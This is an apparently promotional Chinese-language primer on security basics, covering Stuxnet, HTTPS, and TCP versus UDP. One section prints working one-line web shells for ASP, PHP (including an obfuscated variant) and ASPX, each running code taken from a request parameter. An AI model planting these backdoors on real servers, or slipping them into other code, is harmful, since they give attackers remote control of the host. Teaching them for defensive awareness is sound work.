干货！网络安全基础知识大全(二)

　　1.震网病毒：

　　指一种蠕虫病毒，是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫”病毒，比如核电站，水坝，国家电网。只要电脑操作员将被病毒感染的 U 盘插入 USB 接口，这种病毒就会在神不知鬼不觉的情况下(不会有任何其他操作要求或者提示出现)取得一些工业用电脑系统的控制权。

　　与传统的电脑病毒相比，“震网”病毒不会通过窃取个人隐私信息牟利。无需借助网络连接进行传播。这种病毒可以破坏世界各国的化工、发电和电力传输企业所使用的核心生产控制电脑软件，并且代替其对工厂其他电脑“发号施令”。极具毒性和破坏力。“震网”代码非常精密，主要有两个功能，一是使伊朗的离心机运行失控，二是掩盖发生故障的情况，“谎报军情”，以“正常运转”记录回传给管理部门，造成决策的误判。

　　2.一句话木马　　

asp 一句话木马：

<%execute(request("value"))%>

php 一句话木马：<?php@eval($_POST[value]);?>

变形：<?php$x=$_GET[‘z’];@eval(“$x;”);?>

aspx 一句话木马：

<%@ PageLanguage="Jscript"%>

<%eval(Request.Item["value"])%> 

　　3.Https 的作用

　　内容加密建立一个信息安全通道，来保证数据传输的安全；

　　身份认证确认网站的真实性

　　数据完整性防止内容被第三方冒充或者篡改

　　4.HTTPS 和 HTTP 的区别

　　https 协议需要到 CA 申请证书。

　　http 是超文本传输协议，信息是明文传输;https 则是具有安全性的 ssl 加密传输协议。

　　http 和 https 使用的是完全不同的连接方式，用的端口也不一样，前者是 80，后者是 443。

　　http 的连接很简单，是无状态的;HTTPS 协议是由 SSL+HTTP 协议构建的可进行加密传输、身份认证的网络协议，比 http 协议安全。

　　5.TCP 和 UDP 的区别

　　TCP 协议和 UDP 协议特性区别总结：

　　1.TCP 协议在传送数据段的时候要给段标号；UDP 协议不用；

　　2.TCP 协议可靠；UDP 协议不可靠；

　　3.TCP 协议是面向连接；UDP 协议采用无连接；

　　4.TCP 协议负载较高，采用虚电路；UDP 采用无连接；

　　5.TCP 协议的发送方要确认接收方是否收到数据段(3 次握手协议)；

　　6.TCP 协议采用窗口技术和流控制当数据传输的性能必须让位于数据传输的完整性、可控制性和可靠性时，TCP协议是当然的选择。当强调传输性能而不是传输的完整性时，如：音频和多媒体应用，UDP 是最好的选择。在数据传输时间很短，以至于此前的连接过程成为整个流量主体的情况下，UDP 也是一个好的选择，如：DNS 交换。把 SNMP建立在 UDP 上的部分原因是设计者认为当发生网络阻塞时，UDP 较低的开销使其有更好的机会去传送管理数据。

　　TCP 丰富的功能有时会导致不可预料的性能低下，但是我们相信在不远的将来，TCP 可靠的点对点连接将会用于绝大多数的网络应用。

　　以上是网络安全基础知识大全第二波，后续会陆续进行更新，请关注我们。更多关于网络安全培训的问题，欢迎咨询千锋教育在线名师。千锋教育拥有多年IT培训服务经验，采用全程面授高品质、高体验培养模式，拥有国内一体化教学管理及学员服务，助力更多学员实现高薪梦想。